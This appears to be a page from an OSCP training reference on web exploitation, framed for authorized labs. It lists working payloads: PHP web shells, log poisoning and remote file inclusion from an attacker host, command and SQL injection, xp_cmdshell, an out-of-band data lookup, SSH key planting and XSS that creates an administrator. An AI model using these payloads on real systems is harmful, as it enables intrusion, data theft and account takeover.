Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Initial access/Web exploitation

REFERENCE / 25 TASKS

Web exploitation

Choose the input you actually control. Prove a file read, command effect, SQL result, upload handler or authorization change before choosing the next payload.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • File read and interpreted inclusion
    • Read files through directory traversal
    • Disclose PHP source through an inclusion wrapper
    • Turn controlled local file content into inclusion execution
  • File writes and consuming handlers
    • Establish upload acceptance, storage and retrieval
    • Execute an uploaded file through a compatible handler
    • Use upload path control to reach a useful consumer
  • Command and database injection
    • Prove visible or blind operating-system command injection
    • Establish SQL query influence and DBMS context
    • Test a SQL-backed authentication bypass
    • Extract data through UNION and visible SQL results
    • Infer SQL data through boolean or time-based differences
    • Convert database rights into a file or operating-system effect
    • Conditional: validate an out-of-band SQL request channel
  • Application authorization and browser context
    • Cross an object-ownership boundary
    • Cross role, function or session authorization boundaries
    • Modify a protected property through excessive writable fields
    • Execute browser code and validate a useful same-origin action
  • Product features and server-side requests
    • Use WordPress component evidence and authorized administration features
    • Use server-side requests to inspect reachable internal behavior
  • Conditional parser, template and component paths
    • Prove server-side template evaluation and identify its engine
    • Use an XML parser's external-entity behavior for bounded file read
    • Test structured NoSQL operator injection with identity controls
    • Match PHP deserialization gadgets to installed dependencies
    • Validate unsafe YAML object construction
    • Test Shellshock only through a confirmed CGI-to-Bash chain

Tools & scripts

WPScan upstream ↗
Use only after confirming WordPress and relevant components.
curl request tests upstream ↗
Prove the command/parser effect before choosing a session.

File read and interpreted inclusion

Read files through directory traversal

Contents ↑

Use when: A download/path parameter or URL segment influences a local filename

Needs: Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Linux proof

# Linux proof
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH

# Windows proof
curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH

# Variant — traversal occurs in the URL path
curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'

Decisive output: recognizable contents of the requested target file. 200 OK, a changed template or a filename reflected in an error is not proof.

--path-as-is prevents curl from collapsing .. before sending the request.

Basic normalization/filter tests

# Variant — basic normalization/filter tests
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//....//....//etc/passwd

Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.

Try these only after a plain baseline. Preserve the exact decoding layer that accepted the value.

Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.

Read / verify → Require recognizable target-file content and controls that exclude a reflected input or static error page.

If it fails → An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • A PHP page/include parameter and possible access to local application files → Disclose PHP source through an inclusion wrapper
  • JavaScript endpoints, backup names, exposed configuration or Git metadata → Inspect source, backups, configuration and repository artifacts

Prerequisite checks & examples →Full technique →

Disclose PHP source through an inclusion wrapper

Contents ↑

Use when: A PHP page/include parameter and possible access to local application files

Needs: A PHP inclusion sink accepts the filter wrapper and the process can read the source

Shell commands

# Baseline
curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
printf '%s' 'BASE64_DATA' | base64 -d

Prerequisite: a PHP file-inclusion sink that accepts the wrapper. The encoded output must decode to target source; a normal rendered page means the wrapper did not disclose source in that context.

Read / verify → Decode the response and identify real target source; normal HTML rendering does not prove source disclosure.

If it fails → Wrapper filtering, missing path or a non-PHP read operation can defeat this route; retain ordinary traversal/source-disclosure evidence separately.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • A confirmed evaluating include and a log or file containing attacker-controlled bytes → Turn controlled local file content into inclusion execution
  • An input appears in a command-like operation or causes shell-dependent behavior → Prove visible or blind operating-system command injection

Prerequisite checks & examples →Full technique →

Turn controlled local file content into inclusion execution

Contents ↑

Use when: A confirmed evaluating include and a log or file containing attacker-controlled bytes

Needs: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available

Shell commands

# Baseline
curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

# Variant — PHP data wrapper
PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

# Variant — remote file inclusion
python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.

Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as C:\xampp\apache\logs\access.log.

Requires URL inclusion in the sink and PHP allow_url_include=On; it is disabled by default in current PHP configurations.

Requires remote URL inclusion, a compatible interpreter and target-to-LHOST:TRANSFER_PORT reachability. An absent HTTP request is inconclusive until reachability and filtering are separated.

Read / verify → Require command-specific output distinct from the logged payload and record hostname/identity.

If it fails → Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
  • A download/path parameter or URL segment influences a local filename → Read files through directory traversal

Prerequisite checks & examples →Full technique →

File writes and consuming handlers

Establish upload acceptance, storage and retrieval

Contents ↑

Use when: An upload/import/attachment function

Needs: A valid upload request and permitted account; the server accepts and stores controlled bytes

Create and upload a benign canary

# Create and upload a benign canary
printf '%s\n' 'UPLOAD_CANARY_7F31' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=probe.txt;type=text/plain' http://TARGET:PORT/upload

Record separately: acceptance, server-side name, storage path, retrieval URL, response content type, filesystem write identity and whether the storage location is executable.

Read / verify → Confirm saved/retrieved bytes and the final identifier/path; a success message alone is insufficient.

If it fails → A rejected extension may be client validation, server MIME/content policy or role permission. Preserve a valid benign baseline before changing one property.

  • Uploads are retrievable and the application stack suggests an executable file handler → Execute an uploaded file through a compatible handler
  • A multipart filename/import path appears to influence the filesystem destination → Use upload path control to reach a useful consumer
  • Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually

Prerequisite checks & examples →Full technique →

Execute an uploaded file through a compatible handler

Contents ↑

Use when: Uploads are retrievable and the application stack suggests an executable file handler

Needs: Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

PHP example, only after PHP handler evidence

# PHP example, only after PHP handler evidence
printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php

Decisive output: target command output. A successful upload that downloads, displays source or returns inert text proves write/retrieval only.

Variants — isolate validation layers in Burp Repeater

  • bypass client-side checks by replaying the raw multipart request;
  • filename case or alternate extension only when the observed server maps it to the interpreter;
  • multipart Content-Type independently from filename and content;
  • magic bytes only when server behavior shows content inspection;
  • double extensions/trailing characters only when normalization evidence supports them;
  • server rename and final response Content-Type.
# Variants — isolate validation layers in Burp Repeater
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload

Read / verify → Require target command output and identity; acceptance, source download and a 200 status are weaker results.

If it fails → Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
  • A multipart filename/import path appears to influence the filesystem destination → Use upload path control to reach a useful consumer

Prerequisite checks & examples →Full technique →

Use upload path control to reach a useful consumer

Contents ↑

Use when: A multipart filename/import path appears to influence the filesystem destination

Needs: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

Lab-only variant — controlled SSH public-key placement

# Lab-only variant — controlled SSH public-key placement
ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET

Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.

Read / verify → Independently prove destination and bytes before claiming a privileged consumer or accepted key.

If it fails → Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.

  • An SSH service and a known password, private key or agent context → Use SSH passwords, keys and forwarding-capable access
  • A root-consumed file or directory appears writable → Prove effective file, directory, ACL and mount control
  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions

Prerequisite checks & examples →Full technique →

Command and database injection

Prove visible or blind operating-system command injection

Contents ↑

Use when: An input appears in a command-like operation or causes shell-dependent behavior

Needs: Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

Start with a benign identity marker appropriate to the inferred operating system

# Start with a benign identity marker appropriate to the inferred operating system
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH

Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.

Test only the forms compatible with the observed command and platform

# Test only the forms compatible with the observed command and platform
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid

Variants — separators, quoting and POST bodies

# Variants — separators, quoting and POST bodies
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH

Variants — separators, quoting and POST bodies

For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:

# Variants — separators, quoting and POST bodies
127.0.0.1 & whoami
127.0.0.1 | whoami

Repeat a control and a bounded-delay request several times

# Repeat a control and a bounded-delay request several times
curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH

Windows candidate after platform evidence

# Windows candidate after platform evidence
127.0.0.1 & timeout /t 5

# After command execution
Linux:   id; hostname; pwd
Windows: whoami; hostname; cd

Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.

Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.

Read / verify → Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.

If it fails → A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries

Prerequisite checks & examples →Full technique →

Establish SQL query influence and DBMS context

Contents ↑

Use when: Database errors or controlled true/false response differences

Needs: Input reaches a SQL query; a valid request and stable response baseline exist

Change one parameter and compare a normal value, quote, true condition and false condition

Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.

# Change one parameter and compare a normal value, quote, true condition and false condition
VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2

# For a numeric context
1
1 AND 1=1
1 AND 1=2

# In an authorized disposable lab, preserve the application's quoting and comment syntax
' OR 1=1-- -
administrator'-- -

# First establish column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Or increment NULL columns until the query succeeds
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

# Then find a displayed text-compatible column
' UNION SELECT NULL,'MARKER_7F31',NULL-- -

# 4. Extract only after fingerprinting the DBMS
MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

# Choose a stable page marker or content length for true/false comparisons
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -

# DBMS-specific time proofs
MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.

Read / verify → Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.

If it fails → Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.

  • A login/query path has confirmed compatible SQL influence → Test a SQL-backed authentication bypass
  • An injectable SELECT renders query results → Extract data through UNION and visible SQL results
  • Query influence exists but rows are not rendered → Infer SQL data through boolean or time-based differences

Prerequisite checks & examples →Full technique →

Test a SQL-backed authentication bypass

Contents ↑

Use when: A login/query path has confirmed compatible SQL influence

Needs: The injected condition changes the authentication query and the application accepts the resulting account/session

In an authorized disposable lab, preserve the application's quoting and comment syntax

# In an authorized disposable lab, preserve the application's quoting and comment syntax
' OR 1=1-- -
administrator'-- -

Read / verify → Verify the authenticated identity and protected action, not merely a redirect or a new cookie.

If it fails → Query-shape mismatch or additional checks can block login despite SQLi. Use data extraction or another application path.

  • Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually
  • Administrative actions/routes or request methods visible from a lower role → Cross role, function or session authorization boundaries
  • An injectable SELECT renders query results → Extract data through UNION and visible SQL results

Prerequisite checks & examples →Full technique →

Extract data through UNION and visible SQL results

Contents ↑

Use when: An injectable SELECT renders query results

Needs: Compatible column count/types, a reflected result position and rights to the requested data

First establish column count

# First establish column count
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

# Or increment NULL columns until the query succeeds
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

# Then find a displayed text-compatible column
' UNION SELECT NULL,'MARKER_7F31',NULL-- -

# Baseline
MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.

Read / verify → Verify actual returned target data and the reflected position; distinguish a reflected input string from executed SQL output.

If it fails → No visible marker may be column/type mismatch or non-rendered output. Switch to a validated blind method if the query remains controllable.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • Confirmed SQL control plus database file, execution or impersonation privileges → Convert database rights into a file or operating-system effect
  • Query influence exists but rows are not rendered → Infer SQL data through boolean or time-based differences

Prerequisite checks & examples →Full technique →

Infer SQL data through boolean or time-based differences

Contents ↑

Use when: Query influence exists but rows are not rendered

Needs: A stable boolean response difference or controlled DB-specific delay; comparable repeated baseline requests

Choose a stable page marker or content length for true/false comparisons

# Choose a stable page marker or content length for true/false comparisons
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -

# DBMS-specific time proofs
MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

Read / verify → Keep true/false controls, repeated measurements and the exact inferred predicate; a single slow response is inconclusive.

If it fails → Unstable sessions/caching/load can break inference. Fix the channel or choose another verified primitive rather than trusting noisy recovered strings.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • Confirmed SQL control plus database file, execution or impersonation privileges → Convert database rights into a file or operating-system effect
  • Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually
  • SQL execution is plausible but in-band output is unavailable → Conditional: validate an out-of-band SQL request channel

Prerequisite checks & examples →Full technique →

Convert database rights into a file or operating-system effect

Contents ↑

Use when: Confirmed SQL control plus database file, execution or impersonation privileges

Needs: DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

MSSQL — xp_cmdshell when privilege and policy allow

This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.

-- MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

-- MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';

Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.

Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.

Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.

Read / verify → Verify the resulting host and operating-system identity, or independently verify written/read bytes.

If it fails → Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context

Prerequisite checks & examples →Full technique →

Conditional: validate an out-of-band SQL request channel

Contents ↑

Use when: SQL execution is plausible but in-band output is unavailable

Needs: A DBMS/function capable of the selected outbound lookup, sufficient database/OS rights, allowed egress and a uniquely identifiable controlled receiver

Hypothetical MySQL/Windows UNC lookup in an authorized lab

Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.

-- Hypothetical MySQL/Windows UNC lookup in an authorized lab
SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));

Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.

Read / verify → Correlate the query and unique receiver event; do not claim arbitrary database extraction from one callback.

If it fails → Function restrictions, platform behavior, privileges or blocked outbound transport can defeat the route. Use a stable in-band or blind method when available.

  • Query influence exists but rows are not rendered → Infer SQL data through boolean or time-based differences
  • An injectable SELECT renders query results → Extract data through UNION and visible SQL results
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context

Prerequisite checks & examples →Full technique →

Application authorization and browser context

Cross an object-ownership boundary

Contents ↑

Use when: A request selects an object by ID/path and two authorized ownership contexts are available

Needs: The server accepts a lower-privilege identity's request for an object it should not access

Use two controlled lab identities and one object owned by each:

GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN
  1. Save user A's successful request for object A.
  2. Change only the path/query/body object reference to object B.
  3. Keep A's token.
  4. Verify disclosure or the intended update/delete effect against B's object.

Decisive output: data or a state change belonging to B under A's context. A different error or 200 wrapper is not enough.

Read / verify → Verify object ownership, requesting identity and the actual unauthorized effect.

If it fails → A 200 response may be a generic page or public object. Validate ownership and intended access before drawing a conclusion.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • Administrative actions/routes or request methods visible from a lower role → Cross role, function or session authorization boundaries
  • JavaScript endpoints, backup names, exposed configuration or Git metadata → Inspect source, backups, configuration and repository artifacts

Prerequisite checks & examples →Full technique →

Cross role, function or session authorization boundaries

Contents ↑

Use when: Administrative actions/routes or request methods visible from a lower role

Needs: The lower-role identity can invoke a protected server-side action without its required authorization

Replay the same operation as

# Replay the same operation as
anonymous -> ordinary user -> alternate ordinary user -> administrator

Shell commands

# Baseline
curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH

Failure cue: a route name containing admin does not establish a bypass. Verify a privileged read or action under the lower-privileged identity.

Read / verify → Prove the protected effect and requesting identity; a rendered administrative page without action rights is a weaker finding.

If it fails → Expired cookies, CSRF checks and wrong methods are request-state failures; preserve the valid baseline before assessing authorization.

  • API objects expose role, ownership or security-sensitive properties → Modify a protected property through excessive writable fields
  • WordPress paths/components or an accepted application administrator credential → Use WordPress component evidence and authorized administration features
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context

Prerequisite checks & examples →Full technique →

Modify a protected property through excessive writable fields

Contents ↑

Use when: API objects expose role, ownership or security-sensitive properties

Needs: The server binds an untrusted property to a persistent security-relevant field without checking permission

Start with a valid captured registration/update request and add one server-owned property

# Start with a valid captured registration/update request and add one server-owned property
curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register

# Variant — method mismatch reveals a valid route
curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password

Decisive output: authenticate as the new/updated identity and perform an administrator-only action. An echoed or stored role field may be ignored by authorization logic.

Use PUT/PATCH only when a 405, Allow header, documentation or JavaScript behavior supports it. Verify the new credential through a separate login.

Read / verify → Independently reread the object and demonstrate the resulting permitted action under the same account.

If it fails → Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.

  • Administrative actions/routes or request methods visible from a lower role → Cross role, function or session authorization boundaries
  • WordPress paths/components or an accepted application administrator credential → Use WordPress component evidence and authorized administration features
  • Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually

Prerequisite checks & examples →Full technique →

Execute browser code and validate a useful same-origin action

Contents ↑

Use when: Untrusted input reaches an executable HTML/JavaScript context

Needs: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

Then use a controlled proof appropriate to the context

<!-- Then use a controlled proof appropriate to the context -->
<img src=x onerror=alert(document.domain)>

Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.

Recreate a legitimate privileged workflow and obtain its anti-CSRF value first

  • reflected: victim must visit a crafted request;
  • stored: payload persists and a relevant user later renders it;
  • DOM-based: client-side code moves controlled data into an executable DOM sink.

Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.

// Recreate a legitimate privileged workflow and obtain its anti-CSRF value first
fetch('/admin/users/new')
  .then(r => r.text())
  .then(t => {
    const token = new DOMParser().parseFromString(t, 'text/html')
      .querySelector('input[name="csrf"]')?.value;
    return fetch('/admin/users', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
    });
  });

Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.

Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.

Read / verify → Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.

If it fails → Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.

  • Administrative actions/routes or request methods visible from a lower role → Cross role, function or session authorization boundaries
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually

Prerequisite checks & examples →Full technique →

Product features and server-side requests

Use WordPress component evidence and authorized administration features

Contents ↑

Use when: WordPress paths/components or an accepted application administrator credential

Needs: Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Shell commands

Recognition: WordPress-specific paths/assets, generator metadata, REST routes or wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.

# Baseline
curl -skI https://HOSTNAME/
curl -sk https://HOSTNAME/robots.txt
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-content/
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html

# WPScan inventory
wpscan --url https://HOSTNAME/ --disable-tls-checks \
  --enumerate vp,vt,u --plugins-detection mixed \
  --output wpscan-HOSTNAME.txt

WPScan inventory

WPScan can be useful for component/user candidates, but verify every useful result manually. Vulnerability-database details may require an API token; never place a token in published notes or command history.

# WPScan inventory
curl -sk -c wp.cookies -b wp.cookies \
  --data-urlencode 'log=USER' \
  --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'redirect_to=https://HOSTNAME/wp-admin/' \
  https://HOSTNAME/wp-login.php -D wp-login.headers

curl -sk -b wp.cookies https://HOSTNAME/wp-admin/ -o wp-admin.html

XML-RPC exposure is a feature clue, not automatically a vulnerability

A redirect alone is inconclusive. Confirm an authenticated page marker and the actual role. Useful capabilities can include media upload, plugin/theme editing/installation, post editing or administrative account management; each requires separate server-side authorization and execution conditions.

# XML-RPC exposure is a feature clue, not automatically a vulnerability
curl -sk -X POST https://HOSTNAME/xmlrpc.php \
  -H 'Content-Type: text/xml' \
  --data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

Read / verify → Verify application role and any produced execution identity; component names alone do not establish a vulnerable version.

If it fails → Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.

  • A product/version clue, advisory or component-specific public PoC → Match a public exploit to the actual component and configuration
  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A password tied to a plausible user and service → Validate known passwords and context-specific reuse

Prerequisite checks & examples →Full technique →

Use server-side requests to inspect reachable internal behavior

Contents ↑

Use when: URL import, preview, webhook or fetch behavior

Needs: The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

Listener

Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.

# Listener
python3 -m http.server LPORT --bind 0.0.0.0

# Hypothetical request replay
curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'

Interpret the path explicitly

# Interpret the path explicitly
browser/client -> vulnerable application -> requested URL

The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.

Internal destination and parser variations

# Internal destination and parser variations
# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'

# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
  --data-urlencode 'url=http://127.0.0.1:PORT/'

Read / verify → Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.

If it fails → No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.

  • An HTTP endpoint, redirect or hostname-dependent response → Establish scheme, host, redirects and request state
  • An exposed remote-access application and compatible known credentials → Validate RDP, WinRM, VNC and Telnet access contexts
  • A foothold exposes an interface/subnet or a loopback-only service → Discover pivot interfaces, routes and internal service context

Prerequisite checks & examples →Full technique →

